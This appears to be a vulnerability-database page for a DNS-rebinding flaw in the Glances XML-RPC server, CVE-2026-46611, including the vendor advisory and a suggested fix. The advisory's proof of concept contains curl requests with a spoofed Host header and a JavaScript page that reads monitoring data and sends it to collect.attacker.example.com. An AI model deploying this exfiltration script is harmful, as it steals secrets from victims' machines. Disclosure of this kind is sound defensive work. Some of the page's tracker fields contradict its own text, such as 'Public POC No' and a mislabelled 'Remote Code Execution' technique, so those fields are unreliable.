Skip to main content

Glances CVE-2026-46611

| EUVDEUVD-2026-39514 MEDIUM
Origin Validation Error (CWE-346)
2026-06-22 https://github.com/nicolargo/glances GHSA-w856-8p3r-p338
5.3
CVSS 3.1 · Vendor: https://github.com/nicolargo/glances
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Victim explicitly starts `glances -s` XML-RPC server
  2. Delivery
    Attacker registers short-TTL domain pointing to own server
  3. Exploit
    Victim's browser visits attacker-controlled page
  4. Install
    DNS TTL expires, domain rebinds to 127.0.0.1
  5. C2
    Browser POSTs XML-RPC `getAll` with spoofed Host header
  6. Execute
    Server accepts arbitrary Host, returns full monitoring data
  7. Impact
    CORS wildcard allows browser to read and exfiltrate response

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Origin validation
Exploitation Conditions

The victim must be explicitly running the Glances XML-RPC server mode (glances -s), which is a non-default, legacy interface distinct from the default REST API (glances -w). No authentication is required to call the XML-RPC API - the CVSS vector is PR:N, confirming unauthenticated access. The attacker must lure the victim's browser to a page on an attacker-controlled domain (UI:R), control a DNS server that can serve short-TTL records and perform the rebinding flip to the victim's IP, and the victim's browser must not implement DNS rebinding mitigations (some browsers implement partial rebinding protections). Exploitation is amplified by CVE-2026-46608 (CORS Access-Control-Allow-Origin: *): without this companion flaw, the browser would still send the request but block reading the response body, preventing data exfiltration - both flaws must be present for full in-browser exfiltration. Glances bound to loopback (127.0.0.1) is still vulnerable; DNS rebinding specifically bypasses loopback-only binding.

Impact

The NVD CVSS 3.1 score of 5.3 (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N) is appropriate: the High confidentiality impact is real and significant - the XML-RPC getAll method returns full process command lines that frequently carry API keys, database passwords, and access tokens. The AC:H and UI:R components correctly reflect the non-trivial DNS rebinding setup and required victim browser interaction, moderating the score. No EPSS score was provided in this dataset, limiting probabilistic prioritization. The vulnerability is not in CISA KEV, so confirmed in-the-wild exploitation has not been established. However, the detailed PoC published in GHSA-w856-8p3r-p338 - referencing turnkey tooling (Singularity, rbndr.us) and complete JavaScript exploit code - substantially lowers the practical barrier; this should be treated as publicly available exploit code exists. Risk is compounded by the coupling to CVE-2026-46608: without the CORS wildcard, the browser blocks the response body read, providing a partial natural barrier. Organizations must remediate both CVEs together. The glances -s XML-RPC mode is non-default and legacy, limiting the exposed population relative to the broader Glances user base.

Exploit ScenarioDerived

A victim running glances -s on their workstation visits an attacker-controlled page at http://attacker.example.com; after the short-TTL DNS record rebinds attacker.example.com to 127.0.0.1, the page's JavaScript fetch() call is sent to the local Glances XML-RPC server on port 61209 with Host: attacker.example.com - the server accepts it without validation. The Access-Control-Allow-Origin: * response header (CVE-2026-46608) permits the browser to read the XML-RPC response body, which is then base64-encoded and exfiltrated to collect.attacker.example.com. Full exploit code, including the DNS rebinding page, is published in GHSA-w856-8p3r-p338.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

DNS rebinding against the Glances XML-RPC server (glances -s) allows a network-adjacent or remote attacker to exfiltrate the full system monitoring dataset - including process command lines that routinely contain secrets - from a victim's browser without any authentication. The GlancesXMLRPCHandler in glances/server.py accepts arbitrary HTTP Host headers without validation, an omission that persists while the REST/WebUI server received an equivalent fix (TrustedHostMiddleware, v4.5.2) and the MCP server was protected since v4.5.1. No active exploitation is confirmed (not in CISA KEV), but a detailed proof-of-concept is published in the vendor's GitHub security advisory GHSA-w856-8p3r-p338 and the attack is materially amplified by the companion CORS wildcard issue CVE-2026-46608.

RemediationAI

Upgrade to Glances 4.5.5 (vendor-released patch: 4.5.5), which resolves this CVE along with CVE-2026-46608 (CORS wildcard fallback), CVE-2026-53925, CVE-2026-46607, and CVE-2026-46606. Release notes and downloads are at https://github.com/nicolargo/glances/releases/tag/v4.5.5. Because this CVE and CVE-2026-46608 interact - the CORS wildcard is needed for the attacker to read the response body in-browser - both must be patched together; fixing only one provides incomplete protection. If immediate upgrade is not possible, discontinue the XML-RPC server mode (glances -s) and migrate to the REST API (glances -w), which is fully hardened. Binding the XML-RPC server to loopback (127.0.0.1) is insufficient as a compensating control: DNS rebinding explicitly bypasses the loopback restriction, as demonstrated in the PoC. A reverse proxy with strict Host header validation placed in front of port 61209 would block the rebinding vector but adds operational complexity and is no substitute for patching.

Affected VersionsENISA

Glances < 4.5.5

Affected Packages

pypi glances fix: 4.5.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Glances is a cross-platform Python system-monitoring tool that exposes several server backends. The XML-RPC backend (glances -s, port 61209) is implemented in glances/server.py via GlancesXMLRPCHandler, a subclass of Python's standard-library xmlrpc.server.SimpleXMLRPCRequestHandler. That class never overrides parse_request() and therefore never inspects the HTTP Host header. DNS rebinding exploits the browser Same-Origin Policy by making an attacker-controlled domain temporarily resolve to the target's IP (including loopback 127.0.0.1), tricking the browser into treating the attacker origin as same-origin with the local service. CWE-346 (Origin Validation Error) captures the root cause: the server fails to verify that the Host header corresponds to a permitted origin. The attack is further enabled by CWE-942 (Permissive CORS Policy with Wildcards) via CVE-2026-46608, which allows the victim browser to read the XML-RPC response body. Affected package: pkg:pip/glances versions prior to 4.5.5, confirmed on x86_64 Linux, Python 3.13, commit 04579778e733d705898a169e049dc84772c852da.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nicolargo/glances) PRIMARY 5.3 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
vuln.today AI 5.3 MEDIUM

DNS rebinding requires high attack complexity (AC:H) and victim browser interaction (UI:R); no credentials needed (PR:N); impact is confidentiality-only (C:H) as the XML-RPC API is read-only.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 5.3 MEDIUM

Primary rating from Vendor (https://github.com/nicolargo/glances).

CVSS VectorVendor: https://github.com/nicolargo/glances

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.

---

Details

Affected component: glances/server.py - GlancesXMLRPCHandler / GlancesXMLRPCServer

Direct URL (commit 04579778e733d705898a169e049dc84772c852da):

  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py

Contrast - patched backends:

  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py
  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py

The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.

Contrast this with the two other Glances server backends, both of which received host-validation hardening:

REST / WebUI server (glances/outputs/glances_restful_api.py) - patched in 4.5.2:

python
# glances_restful_api.py
if self.webui_allowed_hosts:
    self._app.add_middleware(
        TrustedHostMiddleware,
        allowed_hosts=self.webui_allowed_hosts,
    )

MCP server (glances/outputs/glances_mcp.py) - protected since 4.5.1:

python
# glances_mcp.py
TransportSecuritySettings(
    allowed_hosts=self.mcp_allowed_hosts,
    ...
)

XML-RPC server (glances/server.py) - no equivalent exists:

python
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
# No Host header check; any Host value is accepted
    rpc_paths = ('/RPC2',)
    ...

There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

Server typeHost headerHTTP statusData returned
XML-RPCattacker.example.com200 OKYes - VULNERABLE
XML-RPC127.0.0.1:61209200 OKYes (baseline)
REST APIattacker.example.com400 Bad RequestNo - patched

---

PoC

Attack overview

DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.

Special configuration required

No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").

---

Step 1 - Start the Glances XML-RPC server

bash
glances -s -p 61209

Step 2 - Confirm the server accepts an arbitrary Host header

bash
curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
     -H "Host: attacker.example.com" \
     -H "Content-Type: text/plain" \
     -d '<?xml version="1.0"?>
         <methodCall><methodName>getAllPlugins</methodName></methodCall>'

Expected result (secure): HTTP/1.0 400 Bad Request Actual result: HTTP/1.0 200 OK with full XML-RPC response body.

Step 3 - Confirm the REST API is patched (comparison)

bash
# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210

curl -s -o /dev/null -w "%{http_code}\n" \
     "http://127.0.0.1:61210/api/4/status" \
     -H "Host: attacker.example.com"
# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)

Step 4 - Full DNS rebinding exploitation (real-world path)

  1. Attacker registers attacker.example.com with a low-TTL (1 second) DNS record initially pointing to their own server IP.
  2. Attacker serves the following page from http://attacker.example.com:
html
<script>
async function exfil() {
  const payload = `<?xml version="1.0"?>
    <methodCall><methodName>getAll</methodName></methodCall>`;
  try {
    const r = await fetch('http://attacker.example.com:61209/RPC2', {
      method:  'POST',
      headers: { 'Content-Type': 'text/plain' },
      body:    payload,
    });
    const data = await r.text();
    // data contains: hostname, OS, all processes with cmd-lines, network, disk
    await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
  } catch (_) {}
}

// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>
  1. Victim visits http://attacker.example.com in their browser.
  2. After TTL expiry, the attacker's DNS server responds with 127.0.0.1.
  3. The browser's fetch() call is sent to 127.0.0.1:61209 with Host: attacker.example.com; the XML-RPC server accepts it.
  4. The Access-Control-Allow-Origin: * header (see companion advisory) allows the browser to read the response body.
  5. The attacker receives the complete system monitoring snapshot.

Tools that simplify DNS rebinding for research/testing include:

Step 5 - Confirm absence of Host check in source

python
import sys, inspect
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
import glances.server as s

src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False

---

Impact

Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)

Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:

  • Glances is bound to 127.0.0.1 (loopback) - DNS rebinding bypasses the loopback restriction.
  • Glances is bound to a LAN IP - any browser on that LAN is at risk.
  • Glances is exposed on a public IP - any browser on the internet is at risk.

Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.

Impact:

  • Confidentiality: High - complete system monitoring data readable remotely without credentials.
  • Integrity: None - read-only XML-RPC API.
  • Availability: None - no denial-of-service component.

The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.

---

Suggested Fix

Option 1 - Add Host validation to the XML-RPC handler (preferred)

Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:

python
# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):

    allowed_hosts: list[str] = []
# populated from config

    def parse_request(self) -> bool:
        if not super().parse_request():
            return False
        if self.allowed_hosts:
            host = self.headers.get('Host', '').split(':')[0]
            if host not in self.allowed_hosts:
                self.send_error(400, 'Bad Request: invalid Host header')
                return False
        return True

Populate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.

Option 2 - Deprecate and remove the XML-RPC server

The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.

---

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. ---

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

---

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
popular open-source Python system monitor, XML-RPC mode is legacy
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy